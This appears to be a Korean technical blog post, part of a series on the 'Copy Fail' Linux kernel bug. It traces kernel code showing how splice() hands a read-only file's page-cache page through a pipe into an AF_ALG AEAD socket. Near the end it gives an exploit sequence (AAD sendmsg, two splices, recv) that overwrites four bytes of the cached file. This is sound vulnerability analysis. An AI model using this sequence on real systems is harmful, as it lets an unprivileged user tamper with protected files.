Copy Fail Background (4) - splice()와 pipe Code by Code

readable file이 어떻게 pipe 안으로 들어가는가? pipe가 file data를 복사해서 보관하는가? 아니면 file의 page cache page 자체를 들고 있는가? 두 번째 splice는 그 page를 AF_ALG에 어떻게 전달하는가?

target file -> address_space -> page cache folio -> struct page *P -> pipe_buffer.page = P -> bio_vec.bv_page = P -> scatterlist sg_page(sg) = P -> AF_ALG ctx->tsgl_list

pipe_buffer.page == bio_vec.bv_page == sg_page(sg)

splice() source page reference를 AF_ALG까지 전달 vulnerable algif_aead + authencesn 전달된 source page를 destination처럼 사용 page memory overwrite

ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);

read + write file page cache -> copy_to_user(user buffer) -> copy_from_user(destination) splice kernel page reference / kernel iterator -> pipe -> destination FD

if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host)) return copy_splice_read(in, ppos, pipe, len, flags); return in->f_op->splice_read(in, ppos, pipe, len, flags);

ipipe = get_pipe_info(in, true); opipe = get_pipe_info(out, true); if (ipipe && opipe) { ret = splice_pipe_to_pipe(ipipe, opipe, len, flags); } else if (ipipe) { ret = do_splice_from(ipipe, out, &offset, len, flags); } else if (opipe) { ret = splice_file_to_pipe(in, opipe, &offset, len, flags); } else { ret = -EINVAL; }

1. target file -> pipe 2. pipe -> AF_ALG operation socket

int pipefd[2]; pipe(pipefd); pipefd[0] = read end pipefd[1] = write end

f = alloc_file_pseudo(inode, pipe_mnt, "", O_WRONLY, &pipeanon_fops); f->private_data = inode->i_pipe; res[0] = alloc_file_clone(f, O_RDONLY, &pipeanon_fops); res[0]->private_data = inode->i_pipe; res[1] = f;

pipefd[0] -> struct file, O_RDONLY private_data -----+ | pipefd[1] -> struct file, O_WRONLY| private_data -----+ v struct pipe_inode_info

struct pipe_inode_info { struct mutex mutex; wait_queue_head_t rd_wait, wr_wait; union pipe_index; /* head, tail */ unsigned int max_usage; unsigned int ring_size; ... struct pipe_buffer *bufs; };

pipe->bufs = kzalloc_objs(struct pipe_buffer, pipe_bufs, ...); pipe->max_usage = pipe_bufs; pipe->ring_size = pipe_bufs;

pipe->bufs ring tail head v v [ used ][ used ][ empty ][ empty ] ... producer: head 증가 consumer: tail 증가

return &pipe->bufs[slot & (pipe->ring_size - 1)];

struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };

page : 실제 데이터가 들어 있는 page offset : page 안에서 pipe data가 시작하는 위치 len : 유효한 data 길이 ops : page의 출처에 맞는 confirm/release/get 동작

SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in, int, fd_out, loff_t __user *, off_out, size_t, len, unsigned int, flags) { if (!len) return 0; if (flags & ~SPLICE_F_ALL) return -EINVAL; CLASS(fd, in)(fd_in); CLASS(fd, out)(fd_out); return __do_splice(fd_file(in), off_in, fd_file(out), off_out, len, flags); }

file -> pipe off_in : file offset pointer 또는 NULL off_out : 반드시 NULL pipe -> socket off_in : 반드시 NULL off_out : 일반적으로 NULL

splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0); splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);

size_t splice_len = target_offset + 4; off_t src_off = 0; splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0);

} else if (opipe) { ret = rw_verify_area(READ, in, &offset, len); ... ret = splice_file_to_pipe(in, opipe, &offset, len, flags); }

attacker에게 필요한 file permission read permission attacker에게 없어도 되는 permission write permission

pipe_lock(opipe); ret = wait_for_space(opipe, flags); if (!ret) ret = do_splice_read(in, offset, opipe, len, flags); pipe_unlock(opipe);

p_space = pipe->max_usage - pipe_buf_usage(pipe); len = min_t(size_t, len, p_space << PAGE_SHIFT); if (!in->f_op->splice_read) return warn_unsupported(in, "read"); if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host)) return copy_splice_read(in, ppos, pipe, len, flags); return in->f_op->splice_read(in, ppos, pipe, len, flags);

splice() -> __do_splice() -> do_splice() -> splice_file_to_pipe() -> do_splice_read() -> file->f_op->splice_read() -> filemap_splice_read()

error = filemap_get_pages(&iocb, len, &fbatch, true);

for (i = 0; i < folio_batch_count(&fbatch); i++) { struct folio *folio = fbatch.folios[i]; ... n = splice_folio_into_pipe(pipe, folio, *ppos, n); }

target file inode -> i_mapping -> page cache folio F -> struct page P [ file bytes ... ] pipe 아직 empty

page = folio_page(folio, offset / PAGE_SIZE); size = min(size, folio_size(folio) - offset); offset %= PAGE_SIZE; while (spliced < size && !pipe_is_full(pipe)) { struct pipe_buffer *buf = pipe_head_buf(pipe); size_t part = min_t(size_t, PAGE_SIZE - offset, size - spliced); *buf = (struct pipe_buffer) { .ops = &page_cache_pipe_buf_ops, .page = page, .offset = offset, .len = part, }; folio_get(folio); pipe->head++; ... }

before page cache page P [ target file bytes ] after page cache page P [ target file bytes ] pipe->bufs[head] .page = P .offset = file offset inside P .len = requested length .ops = page_cache_pipe_buf_ops

const struct pipe_buf_operations page_cache_pipe_buf_ops = { .confirm = page_cache_pipe_buf_confirm, .release = page_cache_pipe_buf_release, .try_steal = page_cache_pipe_buf_try_steal, .get = generic_pipe_buf_get, };

static void page_cache_pipe_buf_release(..., struct pipe_buffer *buf) { put_page(buf->page); }

target file page cache page P +-------------------------------------------------+ | file[0] ... file[t-1] | file[t] ... file[t+3] | +-------------------------------------------------+ pipe ring slot pipe_buffer.page = P pipe_buffer.offset = 0 pipe_buffer.len = t + 4

틀린 그림 page P -> memcpy -> pipe private page Q 실제 그림 pipe_buffer.page --------> page P

splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);

do_splice() ipipe != NULL opipe == NULL -> do_splice_from(ipipe, out=AF_ALG socket, ...)

if (!out->f_op->splice_write) return warn_unsupported(out, "write"); return out->f_op->splice_write(pipe, out, ppos, len, flags);

static const struct file_operations socket_file_ops = { ... .splice_write = splice_to_socket, ... };

splice(pipefd[0], op_sock) -> __do_splice() -> do_splice() -> do_splice_from() -> socket_file_ops.splice_write -> splice_to_socket()

struct pipe_buffer *buf = pipe_buf(pipe, tail);

ret = pipe_buf_confirm(pipe, buf);

seg = min_t(size_t, remain, buf->len); bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset);

bio_vec bv_page = 어느 page인가 bv_offset = page 내부 시작 위치 bv_len = 길이

pipe_buffer.page = P | v bio_vec.bv_page = P

msg.msg_flags = MSG_SPLICE_PAGES; if (flags & SPLICE_F_MORE) msg.msg_flags |= MSG_MORE; iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); ret = sock_sendmsg(sock, &msg);

MSG_SPLICE_PAGES msg_iter가 page reference를 담고 있다는 사실을 socket send path에 알림 ITER_BVEC msg_iter의 backing storage가 struct bio_vec array임을 나타냄

sendmsg(op_sock, ..., MSG_SPLICE_PAGES); // 실제 exploit 형태가 아님

splice(pipefd[0], NULL, op_sock, NULL, len, 0);

sock_sendmsg() -> AF_ALG aead_sendmsg() -> af_alg_sendmsg()

if (msg->msg_flags & MSG_SPLICE_PAGES) { plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, ..., 0); for (; sgl->cur < sgtable.nents; sgl->cur++) get_page(sg_page(&sg[sgl->cur])); }

case ITER_BVEC: return extract_bvec_to_sg(iter, maxsize, sgtable, sg_max, extraction_flags);

sg_set_page(sg, bv[i].bv_page, len, off);

target page cache page P -> pipe_buffer.page = P -> bio_vec.bv_page = P -> sg_page(sg) = P -> ctx->tsgl_list

buf->offset += seg; buf->len -= seg; if (!buf->len) { pipe_buf_release(pipe, buf); tail++; }

file page cache가 보유한 page P 첫 번째 splice folio_get(P) -> pipe reference +1 두 번째 splice / AF_ALG send get_page(P) -> AF_ALG TX SGL reference +1 pipe buffer 소비 put_page(P) -> pipe reference -1 결과 pipe ring에서는 사라짐 AF_ALG ctx->tsgl_list는 여전히 P를 참조

/* 1. controlled bytes를 AAD 뒤쪽 4 byte에 배치 */ unsigned char aad[8] = { 'A', 'A', 'A', 'A', new_bytes[0], new_bytes[1], new_bytes[2], new_bytes[3] }; sendmsg(op_sock, &msg, MSG_MORE); /* 2. target file의 0..t+3을 pipe에 연결 */ pipe(pipefd); size_t splice_len = t + 4; off_t src_off = 0; splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0); /* 3. 같은 page reference를 AF_ALG TX SGL에 전달 */ splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0); /* 4. decrypt를 실행해 vulnerable dst write 발생 */ recv(op_sock, sink, 8 + t, 0);

controlled new_bytes -> AAD -> normal sendmsg overwrite target page -> target file -> first splice -> pipe_buffer.page -> second splice -> AF_ALG TX SGL

[ AAD 8 bytes ][ target file bytes 0 .. t+3 ] AEAD 해석 [ AAD ][ ciphertext: file 0..t-1 ][ TAG: file t..t+3 ]

AAD offset 0: A A A A offset 4: W X Y Z

splice_len = t + 4 = 0x14 target file page P에서 pipe로 연결되는 범위 file[0x00 .. 0x13]

pipe_buffer page = P offset = 0 len = 0x14

bio_vec bv_page = P bv_offset = 0 bv_len = 0x14 TX scatterlist sg_page = P sg offset = 0 sg length = 0x14

[ AAD 8 ][ file 0x00..0x0f ][ file 0x10..0x13 ] ciphertext 0x10 TAG 4 bytes

RX SGL length = 8 + 0x10 -> chain TAG_SG page = P offset = 0x10 length = 4

source bytes AAD[4..7] = WXYZ destination page_address(P) + 0x10 result target file page cache의 0x10..0x13 = WXYZ

src_off = 0; splice_len = target_offset + 4;

spliced file bytes file[0 .. t-1] -> ciphertext 영역 file[t .. t+3] -> 마지막 4-byte TAG 영역

file prefix length t + TAG length 4 = splice_len t + 4

userspace sendmsg(AAD, MSG_MORE) splice(file -> pipe) splice(pipe -> AF_ALG socket) kernel inside second splice msg.msg_flags = MSG_SPLICE_PAGES iov_iter_bvec(...) sock_sendmsg(...)

#define SPLICE_F_MOVE 0x01 #define SPLICE_F_NONBLOCK 0x02 #define SPLICE_F_MORE 0x04 #define SPLICE_F_GIFT 0x08

after first splice target page P unchanged pipe_buffer.page = P after second splice target page P unchanged AF_ALG TX SGL points to P after vulnerable AEAD recv path source TAG SGL enters req->dst chain authencesn writes through dst target page P modified

userspace open(target, O_RDONLY) pipe(pipefd) splice(target_fd, &off0, pipefd[1], NULL, t+4, 0) kernel: file -> pipe sys_splice() -> __do_splice() -> do_splice() -> splice_file_to_pipe() -> do_splice_read() -> filemap_splice_read() -> filemap_get_pages() -> splice_folio_into_pipe() pipe_buffer.page = target page P folio_get(P) userspace splice(pipefd[0], NULL, op_sock, NULL, t+4, 0) kernel: pipe -> socket sys_splice() -> __do_splice() -> do_splice() -> do_splice_from() -> socket_file_ops.splice_write -> splice_to_socket() bvec_set_page(..., buf->page, ...) msg.msg_flags = MSG_SPLICE_PAGES iov_iter_bvec(..., ITER_SOURCE, ...) -> sock_sendmsg() kernel: AF_ALG -> aead_sendmsg() -> af_alg_sendmsg() -> extract_iter_to_sg() -> extract_bvec_to_sg() sg_set_page(sg, bv_page=P, ...) -> get_page(P) -> ctx->tsgl_list points to P

ctx->tsgl_list -> vulnerable algif_aead dst chain -> authencesn scratch write -> memcpy(page_address(P) + target_offset, new_bytes, 4)

break do_splice break splice_file_to_pipe break filemap_splice_read break splice_folio_into_pipe break splice_to_socket break af_alg_sendmsg break extract_bvec_to_sg

folio page = folio_page(...) buf->page buf->offset buf->len pipe->head pipe->tail

buf->page bvec[0].bv_page bvec[0].bv_offset bvec[0].bv_len msg.msg_flags msg.msg_iter.iter_type

bv_page sg_page(sg) sg->offset sg->length ctx->used

folio_page == pipe_buffer.page == bio_vec.bv_page == sg_page(sg)

filemap_get_pages() target file의 page cache folio 획득 splice_folio_into_pipe() pipe_buffer.page에 같은 page 저장 splice_to_socket() bio_vec.bv_page에 같은 page 저장 extract_bvec_to_sg() scatterlist에 같은 page 저장 af_alg_sendmsg() get_page() 후 TX SGL에 보관

payload bytes AAD를 통해 별도로 전달 overwrite target read-only file의 page-cache page pipe를 통해 AF_ALG에 reference로 전달